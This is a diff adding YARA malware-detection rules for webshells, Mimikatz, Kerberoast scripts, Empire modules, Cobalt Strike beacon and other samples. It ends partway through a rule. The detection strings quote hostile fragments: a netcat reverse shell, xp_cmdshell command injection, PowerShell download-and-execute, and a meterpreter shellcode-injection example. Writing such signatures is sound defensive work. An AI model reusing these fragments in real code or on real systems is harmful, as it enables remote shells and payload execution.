+        description = "Chinese Hacktool Set - Webshells - file lcx.c"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "ddb3b6a5c5c22692de539ccb796ede214862befe"
+    strings:
+        $s1 = "printf(\"Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-l" ascii
+        $s2 = "sprintf(tmpbuf2,\"\\r\\n########### reply from %s:%d ####################\\r\\n" ascii
+        $s3 = "printf(\" 3: connect to HOST1:PORT1 and HOST2:PORT2\\r\\n\");" fullword ascii
+        $s4 = "printf(\"got,ip:%s,port:%d\\r\\n\",inet_ntoa(client1.sin_addr),ntohs(client1.sin" ascii
+        $s5 = "printf(\"[-] connect to host1 failed\\r\\n\");" fullword ascii
+    condition:
+        filesize < 25KB and 2 of them
+}
+
+rule Txt_jspcmd {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file jspcmd.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "1d4e789031b15adde89a4628afc759859e53e353"
+    strings:
+        $s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
+        $s4 = "out.print(\"Hi,Man 2015\");" fullword ascii
+    condition:
+        filesize < 1KB and 1 of them
+}
+
+rule Txt_jsp {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file jsp.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "74518faf08637c53095697071db09d34dbe8d676"
+    strings:
+        $s1 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
+        $s2 = "Process pro = Runtime.getRuntime().exec(exe);" fullword ascii
+        $s3 = "<option value=\\\"nc -e cmd.exe 192.168.230.1 4444\\\">nc</option>\"" fullword ascii
+        $s4 = "cmd = \"cmd.exe /c set\";" fullword ascii
+    condition:
+        filesize < 715KB and 2 of them
+}
+
+rule Txt_aspxlcx {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspxlcx.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "453dd3160db17d0d762e032818a5a10baf234e03"
+    strings:
+        $s1 = "public string remoteip = " ascii
+        $s2 = "=Dns.Resolve(host);" ascii
+        $s3 = "public string remoteport = " ascii
+        $s4 = "public class PortForward" ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 18KB and all of them
+}
+
+rule Txt_xiao {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file xiao.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "b3b98fb57f5f5ccdc42e746e32950834807903b7"
+    strings:
+        $s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
+        $s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
+        $s3 = "conn.Execute(\"Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED," ascii
+        $s4 = "function Command(cmd, str){" fullword ascii
+        $s5 = "echo \"if(obj.value=='PageWebProxy')obj.form.target='_blank';\"" fullword ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule Txt_aspx {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspx.jpg"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "ce24e277746c317d887139a0d71dd250bfb0ed58"
+    strings:
+        $s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
+        $s2 = "Process[] p=Process.GetProcesses();" fullword ascii
+        $s3 = "Copyright &copy; 2009 Bin" ascii
+        $s4 = "<td colspan=\"5\">CmdShell&nbsp;&nbsp;:&nbsp;<input class=\"input\" runat=\"serv" ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule Txt_Sql {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file Sql.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "f7813f1dfa4eec9a90886c80b88aa38e2adc25d5"
+    strings:
+        $s1 = "cmd=chr(34)&\"cmd.exe /c \"&request.form(\"cmd\")&\" > 8617.tmp\"&chr(34)" fullword ascii
+        $s2 = "strQuery=\"dbcc addextendedproc ('xp_regwrite','xpstar.dll')\"" fullword ascii
+        $s3 = "strQuery = \"exec master.dbo.xp_cmdshell '\" & request.form(\"cmd\") & \"'\" " fullword ascii
+        $s4 = "session(\"login\")=\"\"" fullword ascii
+    condition:
+        filesize < 15KB and all of them
+}
+
+rule Txt_hello {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file hello.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "697a9ebcea6a22a16ce1a51437fcb4e1a1d7f079"
+    strings:
+        $s0 = "Dim myProcessStartInfo As New ProcessStartInfo(\"cmd.exe\")" fullword ascii
+        $s1 = "myProcessStartInfo.Arguments=\"/c \" & Cmd.text" fullword ascii
+        $s2 = "myProcess.Start()" fullword ascii
+        $s3 = "<p align=\"center\"><a href=\"?action=cmd\" target=\"_blank\">" fullword ascii
+    condition:
+        filesize < 25KB and all of them
+}
+rule DeviceGuard_WDS_Evasion {
+   meta:
+      author = "Florian Roth"
+      description = "Detects WDS file used to circumvent Device Guard"
+      score = 80
+      reference = "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html"
+   strings:
+      $s1 = "r @$ip=@$t0" ascii fullword
+      $s2 = ";eb @$t0+" ascii
+      $s3 = ".foreach /pS" ascii fullword
+   condition:
+      filesize < 50KB and all of them
+}
+rule Fake_AdobeReader_EXE
+    {
+    meta:
+        description = "Detects an fake AdobeReader executable based on filesize OR missing strings in file"
+        date = "2014-09-11"
+        author = "Florian Roth"
+        score = 50
+    strings:
+        $s1 = "Adobe Systems" ascii
+    condition:
+        uint16(0) == 0x5a4d and 
+        filename matches /AcroRd32.exe/i and 
+        not $s1 in (filesize-2500..filesize) 
+}
+
+rule Fake_FlashPlayerUpdaterService_EXE
+    {
+    meta:
+        description = "Detects an fake AdobeReader executable based on filesize OR missing strings in file"
+        date = "2014-09-11"
+        author = "Florian Roth"
+        score = 50
+    strings:
+        $s1 = "Adobe Systems Incorporated" ascii
+    condition:
+        uint16(0) == 0x5a4d and 
+        filename matches /FlashPlayerUpdateService.exe/i and 
+        not $s1 in (filesize-2500..filesize) 
+}
+
+rule Groups_cpassword {
+    meta:
+        description = "Groups XML contains cpassword value, which is decrypted password - key is in MSDN http://goo.gl/mHrC8P"
+        author = "Florian Roth"
+        reference = "http://www.grouppolicy.biz/2013/11/why-passwords-in-group-policy-preference-are-very-bad/"
+        date = "2015-09-08"
+        score = 50
+    strings:
+        $s1 = / cpassword=\"[^\"]/ ascii
+        $s2 = " changeLogon=" ascii
+        $s3 = " description=" ascii
+        $s4 = " acctDisabled=" ascii
+    condition:
+        uint32be(0) == 0x3C3F786D  /* <?xm */
+        and filesize < 1000KB
+        and all of ($s*)  
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-19
+	Identifier: Invoke-Mimikatz
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Invoke_Mimikatz {
+	meta:
+		description = "Detects Invoke-Mimikatz String"
+		author = "Florian Roth"
+		reference = "https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz"
+		date = "2016-08-03"
+	strings:
+		$x1 = "Invoke-Mimikatz" wide fullword
+	condition:
+      1 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-05-21
+	Identifier: Kerberoast
+*/
+
+rule GetUserSPNs_VBS {
+	meta:
+		description = "Auto-generated rule - file GetUserSPNs.vbs"
+		author = "Florian Roth"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		date = "2016-05-21"
+		hash1 = "8dcb568d475fd8a0557e70ca88a262b7c06d0f42835c855b52e059c0f5ce9237"
+	strings:
+		$s1 = "Wscript.Echo \"User Logon: \" & oRecordset.Fields(\"samAccountName\")" fullword ascii
+		$s2 = "Wscript.Echo \" USAGE:        \" & WScript.ScriptName & \" SpnToFind [GC Servername or Forestname]\"" fullword ascii
+		$s3 = "strADOQuery = \"<\" + strGCPath + \">;(&(!objectClass=computer)(servicePrincipalName=*));\" & _" fullword ascii
+	condition:
+		2 of them
+}
+
+rule GetUserSPNs_PS1 {
+	meta:
+		description = "Auto-generated rule - file GetUserSPNs.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		date = "2016-05-21"
+		hash1 = "1b69206b8d93ac86fe364178011723f4b1544fff7eb1ea544ab8912c436ddc04"
+	strings:
+		$s1 = "$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()" fullword ascii
+		$s2 = "@{Name=\"PasswordLastSet\";      Expression={[datetime]::fromFileTime($result.Properties[\"pwdlastset\"][0])} } #, `" fullword ascii
+		$s3 = "Write-Host \"No Global Catalogs Found!\"" fullword ascii
+		$s4 = "$searcher.PropertiesToLoad.Add(\"pwdlastset\") | Out-Null" fullword ascii
+	condition:
+		2 of them
+}
+
+rule kerberoast_PY {
+	meta:
+		description = "Auto-generated rule - file kerberoast.py"
+		author = "Florian Roth"
+		reference = "https://github.com/skelsec/PyKerberoast"
+		date = "2016-05-21"
+		hash1 = "73155949b4344db2ae511ec8cab85da1ccbf2dfec3607fb9acdc281357cdf380"
+	strings:
+		$s1 = "newencserverticket = kerberos.encrypt(key, 2, encoder.encode(decserverticket), nonce)" fullword ascii
+		$s2 = "key = kerberos.ntlmhash(args.password)" fullword ascii
+		$s3 = "help='the password used to decrypt/encrypt the ticket')" fullword ascii
+      $s4 = "newencserverticket = kerberos.encrypt(key, 2, e, nonce)" fullword ascii
+	condition:
+		2 of them
+}
+/*
+	Yara Rule Set
+	Author: Didier Stevens
+	Date: 2016-08-13
+	Identifier: KiRBi ticket for mimikatz
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule mimikatz_kirbi_ticket
+{
+	meta:
+		description		= "KiRBi ticket for mimikatz"
+		author			= "Benjamin DELPY (gentilkiwi); Didier Stevens"
+
+	strings:
+		$asn1			= { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 }
+		$asn1_84		= { 76 84 ?? ?? ?? ?? 30 84 ?? ?? ?? ?? a0 84 00 00 00 03 02 01 05 a1 84 00 00 00 03 02 01 16 }
+
+	condition:
+		$asn1 at 0 or $asn1_84 at 0
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-29
+	Identifier: VT Research QA Malware
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+/* This rule can only be used with THOR or LOKI due to the external variable 'filename' */
+
+rule Malware_QA_update_test {
+	meta:
+		description = "VT Research QA uploaded malware - file update_.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "3b3392bc730ded1f97c51e23611740ff8b218abf0a1100903de07819eeb449aa"
+	strings:
+		$s1 = "test.exe" fullword ascii
+		$s2 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them and filename == "update.exe"
+}
+
+/* Rules that can be used in any tool with YARA support */
+
+rule Malware_QA_not_copy {
+	meta:
+		description = "VT Research QA uploaded malware - file not copy.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "1410f38498567b64a4b984c69fe4f2859421e4ac598b9750d8f703f1d209f836"
+	strings:
+		$x1 = "U2VydmVyLmV4ZQ==" fullword wide /* base64 encoded string 'Server.exe' */
+		$x2 = "\\not copy\\obj\\Debug\\not copy.pdb" ascii
+		$x3 = "fuckyou888.ddns.net" fullword wide
+
+		$s1 = "cmd.exe /c ping 0 -n 2 & del \"" fullword wide
+		$s2 = "Server.exe" fullword wide
+		$s3 = "Execute ERROR" fullword wide
+		$s4 = "not copy.exe" fullword wide
+		$s5 = "Non HosT" fullword wide
+		$s6 = "netsh firewall delete allowedprogram" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) or 4 of ($s*) ) )
+		or ( 5 of them )
+}
+
+rule Malware_QA_fil {
+	meta:
+		description = "VT Research QA uploaded malware - often MS:W32.Bladabindi / McAfee:Trojan-FIGN"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 60
+		hash1 = "c62f0c20278a0f5bce94ccc4904c1c445927306203adfd21ee2f65f765d86262"
+		hash2 = "bb9fbef7eb60dca3d2bdd041809cd1fe9d823178f2f34564c89228f9c87c6629"
+	strings:
+		$x1 = "ClassLibrary1.exe" fullword ascii
+
+		$s2 = "get_ShiftKeyDown" fullword ascii
+		$s3 = "get_CapsLock" fullword ascii
+		$s4 = "get_OSFullName" fullword ascii
+		$s5 = "get_ClassesRoot" fullword ascii
+		$s6 = "CompareObjectEqual" fullword ascii
+		$s7 = "LogsPath" fullword ascii
+		$s8 = "PPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDIN" ascii
+		$s9 = "SuppressIldasmAttribute" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 1 of ($x*) or 4 of ($s*) ) )
+}
+
+rule Malware_QA_update {
+	meta:
+		description = "VT Research QA uploaded malware - file update.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "6d805533623d7063241620eec38b7eb9b625533ccadeaf4f6c2cc6db32711541"
+		hash2 = "6415b45f5bae6429dd5d92d6cae46e8a704873b7090853e68e80cd179058903e"
+	strings:
+		$x1 = "UnActiveOfflineKeylogger" fullword ascii
+		$x2 = "BTRESULTDownload File|Mass Download : File Downloaded , Executing new one in temp dir...|" fullword ascii
+		$x3 = "ActiveOnlineKeylogger" fullword ascii
+		$x4 = "C:\\Users\\DarkCoderSc\\" ascii
+		$x5 = "Celesty Binder\\Stub\\STATIC\\Stub.pdb" ascii
+		$x6 = "BTRESULTUpdate from URL|Update : File Downloaded , Executing new one in temp dir...|" fullword ascii
+
+		$s1 = "MSRSAAP.EXE" fullword wide
+		$s2 = "Command successfully executed!|" fullword ascii
+		$s3 = "BTMemoryLoadLibary: Get DLLEntyPoint failed" fullword ascii
+		$s4 = "I wasn't able to open the hosts file, maybe because UAC is enabled in remote computer!" fullword ascii
+		$s5 = "\\Internet Explorer\\iexplore.exe" fullword ascii
+		$s6 = "ping 127.0.0.1 -n 4 > NUL && \"" fullword ascii
+		$s7 = "BTMemoryGetProcAddress: DLL doesn't export anything" fullword ascii
+		$s8 = "POST /index.php/1.0" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 3000KB and ( 1 of ($x*) or 3 of ($s*) ) )
+		or ( all of them )
+}
+
+rule Malware_QA_tls {
+	meta:
+		description = "VT Research QA uploaded malware - file tls.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "f06d1f2bee2eb6590afbfa7f011ceba9bd91ba31cdc721bc728e13b547ac9370"
+	strings:
+		$s1 = "\\funoverip\\ultimate-payload-template1\\" ascii
+		$s2 = "ULTIMATEPAYLOADTEMPLATE1" fullword wide
+		$s3 = "ultimate-payload-template1" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them ) or ( all of them )
+}
+
+rule Malware_QA_get_The_FucKinG_IP {
+	meta:
+		description = "VT Research QA uploaded malware - file get The FucKinG IP.exe"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "7b2c04e384919075be96e3412d92c14fc1165d1bc7556fd207488959c5c4d2f7"
+	strings:
+		$x1 = "C:\\Users\\Mdram ahmed\\AppData"
+		$x2 = "\\Local\\Temporary Projects\\get The FucKinG IP\\" ascii
+		$x3 = "get The FucKinG IP.exe" fullword wide
+		$x4 = "get ip by mdr3m" fullword wide
+		$x5 = "MDR3M kik: Mdr3mhm" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of ($x*) ) or ( 2 of them )
+}
+
+rule Malware_QA_vqgk {
+	meta:
+		description = "VT Research QA uploaded malware - file vqgk.dll"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
+	strings:
+		$x1 = "Z:\\devcenter\\aggressor\\external" ascii
+		$x2 = "\\beacon\\Release\\beacon.pdb" fullword ascii
+		$x3 = "%d is an x86 process (can't inject x64 content)" fullword ascii
+		$x4 = "%d is an x64 process (can't inject x86 content)" fullword ascii
+
+		$s1 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
+		$s2 = "Could not open process token: %d (%u)" fullword ascii
+		$s3 = "\\\\%s\\pipe\\msagent_%x" fullword ascii
+		$s4 = "\\sysnative\\rundll32.exe" fullword ascii
+		$s5 = "Failed to impersonate logged on user %d (%u)" fullword ascii
+		$s6 = "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s" fullword ascii
+		$s7 = "could not write to process memory: %d" fullword ascii
+		$s8 = "beacon.dll" fullword ascii
+		$s9 = "Failed to impersonate token from %d (%u)" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 600KB and ( 1 of ($x*) or 5 of ($s*) ) ) or ( 7 of them )
+}
+
+rule Malware_QA_1177 {
+	meta:
+		description = "VT Research QA uploaded malware - file 1177.vbs"
+		author = "Florian Roth"
+		reference = "VT Research QA"
+		date = "2016-08-29"
+		score = 80
+		hash1 = "ff3a2740330a6cbae7888e7066942b53015728c367cf9725e840af5b2a3fa247"
+	strings:
+		$x1 = ".specialfolders (\"startup\") & \"\\ServerName.EXE\"" fullword ascii
+		$x2 = "expandenvironmentstrings(\"%%InsallDir%%\") " ascii
+
+		$s1 = "CreateObject(\"WScript.Shell\").Run(" ascii
+		$s2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAA" ascii
+		$s3 = "cial Thank's to Dev-point.com" fullword ascii
+		$s4 = ".createElement(\"tmp\")" fullword ascii
+		$s5 = "'%CopyToStartUp%" fullword ascii
+	condition:
+		( uint16(0) == 0x4d27 and filesize < 100KB and ( 1 of ($x*) or 4 of ($s*) ) )
+		or ( 5 of them )
+}
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2016-04-20
+	Identifier: Metasploit Loader
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Metasploit_Loader_RSMudge {
+	meta:
+		description = "Detects a Metasploit Loader by RSMudge - file loader.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/rsmudge/metasploit-loader"
+		date = "2016-04-20"
+		hash1 = "afe34bfe2215b048915b1d55324f1679d598a0741123bc24274d4edc6e395a8d"
+	strings:
+		$s1 = "Could not resolve target" fullword ascii
+		$s2 = "Could not connect to target" fullword ascii
+		$s3 = "%s [host] [port]" fullword ascii
+		$s4 = "ws2_32.dll is out of date." fullword ascii
+		$s5 = "read a strange or incomplete length value" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( 3 of ($s*) ) ) or ( all of them )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-19
+	Identifier: Mimikittenz
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Invoke_mimikittenz {
+	meta:
+		description = "Detects Mimikittenz - file Invoke-mimikittenz.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/putterpanda/mimikittenz"
+		date = "2016-07-19"
+		score = 90
+		hash1 = "14e2f70470396a18c27debb419a4f4063c2ad5b6976f429d47f55e31066a5e6a"
+	strings:
+		$x1 = "[mimikittenz.MemProcInspector]" ascii
+
+		$s1 = "PROCESS_ALL_ACCESS = PROCESS_TERMINATE | PROCESS_CREATE_THREAD | PROCESS_SET_SESSIONID | PROCESS_VM_OPERATION |" fullword ascii
+		$s2 = "IntPtr processHandle = MInterop.OpenProcess(MInterop.PROCESS_WM_READ | MInterop.PROCESS_QUERY_INFORMATION, false, process.Id);" fullword ascii
+		$s3 = "&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1=" ascii
+		$s4 = "[DllImport(\"kernel32.dll\", SetLastError = true)]" fullword ascii
+	condition:
+		( uint16(0) == 0x7566 and filesize < 60KB and 2 of them ) or $x1
+}
+/*
+	Yara Rule Set
+	Author: YarGen Rule Generator
+	Date: 2016-05-21
+	Identifier: No PowerShell
+*/
+
+rule No_PowerShell {
+	meta:
+		description = "Detects an C# executable used to circumvent PowerShell detection - file nps.exe"
+		author = "Florian Roth"
+		reference = "https://github.com/Ben0xA/nps"
+		date = "2016-05-21"
+		score = 80
+		hash1 = "64f811b99eb4ae038c88c67ee0dc9b150445e68a2eb35ff1a0296533ae2edd71"
+	strings:
+		$s1 = "nps.exe -encodedcommand {base64_encoded_command}" fullword wide
+		$s2 = "c:\\Development\\ghps\\nps\\nps\\obj\\x86\\Release\\nps.pdb" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 40KB and ( 1 of ($s*) ) ) or ( all of them )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-09-08
+	Identifier: Pirpi
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Pirpi_1609_A {
+	meta:
+		description = "Detects Pirpi Backdoor - and other malware (generic rule)"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "2a5a0bc350e774bd784fc25090518626b65a3ce10c7401f44a1616ea2ae32f4c"
+		hash2 = "8caa179ec20b6e3938d17132980e0b9fe8ef753a70052f7e857b339427eb0f78"
+	strings:
+		$x1 = "expand.exe1.gif" fullword ascii
+
+		$c1 = "expand.exe" fullword ascii
+		$c2 = "ctf.exe" fullword ascii
+
+		$s1 = "flvUpdate.exe" fullword wide
+		$s2 = "www.ThinkWorking.com" fullword wide
+		$s3 = "ctfnon.exe" fullword ascii
+		$s4 = "flv%d.exe" fullword ascii
+		$s5 = "HARDWARE\\DESCRIPTION\\System\\BIOS" fullword ascii
+		$s6 = "12811[%d].gif" fullword ascii
+		$s7 = "GetApp03" fullword wide
+		$s8 = "flvUpdate" fullword wide
+		$s9 = "%d-%4.4d%d" fullword ascii
+		$s10 = "http://%s/%5.5d.html" fullword ascii
+		$s11 = "flvbho.exe" fullword wide
+
+		$op1 = { 74 08 c1 cb 0d 03 da 40 eb }
+		$op2 = { 03 f5 56 8b 76 20 03 f5 33 c9 49 }
+		$op3 = { 03 dd 66 8b 0c 4b 8b 5e 1c 03 dd 8b 04 8b 03 c5 }
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 200KB and ( $x1 or all of ($c*) or all of ($op*) ) ) or ( 8 of them )
+}
+
+rule Pirpi_1609_B {
+	meta:
+		description = "Detects Pirpi Backdoor"
+		author = "Florian Roth"
+		reference = "http://goo.gl/igxLyF"
+		date = "2016-09-08"
+		hash1 = "498b98c02e19f4b03dc6a3a8b6ff8761ef2c0fedda846ced4b6f1c87b52468e7"
+	strings:
+		$s1 = "tconn <ip> <port> //set temp connect value, and disconnect." fullword ascii
+		$s2 = "E* ListenCheckSsl SslRecv fd(%d) Error ret:%d %d" fullword ascii
+		$s3 = "%s %s L* ListenCheckSsl fd(%d) SslV(-%d-)" fullword ascii
+		$s4 = "S:%d.%d-%d.%d V(%d.%d) Listen On %d Ok." fullword ascii
+		$s5 = "E* ListenCheckSsl fd(%d) SslAccept Err %d" fullword ascii
+		$s6 = "%s-%s N110 Ssl Connect Ok(%s:%d)." fullword ascii
+		$s7 = "%s-%s N110 Basic Connect Ok(%s:%d)." fullword ascii
+		$s8 = "tconn <ip> <port>" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 2 of them ) or ( 4 of them )
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-02-05
+	Identifier: Powerkatz
+*/
+
+rule Powerkatz_DLL_Generic {
+	meta:
+		description = "Detects Powerkatz - a Mimikatz version prepared to run in memory via Powershell (overlap with other Mimikatz versions is possible)"
+		author = "Florian Roth"
+		reference = "PowerKatz Analysis"
+		date = "2016-02-05"
+		super_rule = 1
+		score = 80
+		hash1 = "c20f30326fcebad25446cf2e267c341ac34664efad5c50ff07f0738ae2390eae"
+		hash2 = "1e67476281c1ec1cf40e17d7fc28a3ab3250b474ef41cb10a72130990f0be6a0"
+		hash3 = "49e7bac7e0db87bf3f0185e9cf51f2539dbc11384fefced465230c4e5bce0872"
+	strings:
+		$s1 = "%3u - Directory '%s' (*.kirbi)" fullword wide
+		$s2 = "%*s  pPublicKey         : " fullword wide
+		$s4 = "<3 eo.oe ~ ANSSI E>" fullword wide
+		$s5 = "\\*.kirbi" fullword wide
+
+		$c1 = "kuhl_m_lsadump_getUsersAndSamKey ; kull_m_registry_RegOpenKeyEx SAM Accounts (0x%08x)" fullword wide
+		$c2 = "kuhl_m_lsadump_getComputerAndSyskey ; kuhl_m_lsadump_getSyskey KO" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them ) or 2 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-07
+	Identifier: Empire Powershell Agent
+	Comment: Reduced Subset
+*/
+
+rule Empire_Invoke_BypassUAC {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-BypassUAC.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "ab0f900a6915b7497313977871a64c3658f3e6f73f11b03d2d33ca61305dc6a8"
+	strings:
+		$s1 = "$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory" fullword ascii 
+		$s2 = "$proc = Start-Process -WindowStyle Hidden notepad.exe -PassThru" fullword ascii 
+		$s3 = "$Payload = Invoke-PatchDll -DllBytes $Payload -FindString \"ExitThread\" -ReplaceString \"ExitProcess\"" fullword ascii 
+		$s4 = "$temp = [System.Text.Encoding]::UNICODE.GetBytes($szTempDllPath)" fullword ascii 
+	condition:
+		filesize < 1200KB and 3 of them
+}
+
+rule Empire_lib_modules_trollsploit_message {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file message.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "71f2258177eb16eafabb110a9333faab30edacf67cb019d5eab3c12d095655d5"
+	strings:
+		$s1 = "script += \" -\" + str(option) + \" \\\"\" + str(values['Value'].strip(\"\\\"\")) + \"\\\"\"" fullword ascii 
+		$s2 = "if option.lower() != \"agent\" and option.lower() != \"computername\":" fullword ascii 
+		$s3 = "[String] $Title = 'ERROR - 0xA801B720'" fullword ascii 
+		$s4 = "'Value'         :   'Lost contact with the Domain Controller.'" fullword ascii 
+	condition:
+		filesize < 10KB and 3 of them
+}
+
+rule Empire_Persistence {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Persistence.psm1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "ae8875f7fcb8b4de5cf9721a9f5a9f7782f7c436c86422060ecdc5181e31092f"
+	strings:
+		$s1 = "C:\\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -V" ascii 
+		$s2 = "# Execute the following to remove the user-level persistent payload" fullword ascii 
+		$s3 = "$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', \"$PersistenceScriptName -Persist\")" fullword ascii 
+	condition:
+		filesize < 108KB and 1 of them
+}
+
+rule Empire_portscan {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file portscan.py"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "b355efa1e7b3681b1402e22c58ce968795ef245fd08a0afb948d45c173e60b97"
+	strings:
+		$s1 = "script += \"Invoke-PortScan -noProgressMeter -f\"" fullword ascii 
+		$s2 = "script += \" | ? {$_.alive}| Select-Object HostName,@{name='OpenPorts';expression={$_.openPorts -join ','}} | ft -wrap | Out-Str" ascii 
+	condition:
+		filesize < 14KB and all of them
+}
+
+rule Empire_Invoke_Shellcode {
+	meta:
+		description = "Empire - a pure PowerShell post-exploitation agent - file Invoke-Shellcode.ps1"
+		author = "Florian Roth"
+		reference = "https://github.com/PowerShellEmpire/Empire"
+		date = "2015-08-06"
+		score = 70
+		hash = "fa75cfd57269fbe3ad6bdc545ee57eb19335b0048629c93f1dc1fe1059f60438"
+	strings:
+		$s1 = "C:\\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbos" ascii 
+		$s2 = "\"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!\" ) )" fullword ascii 
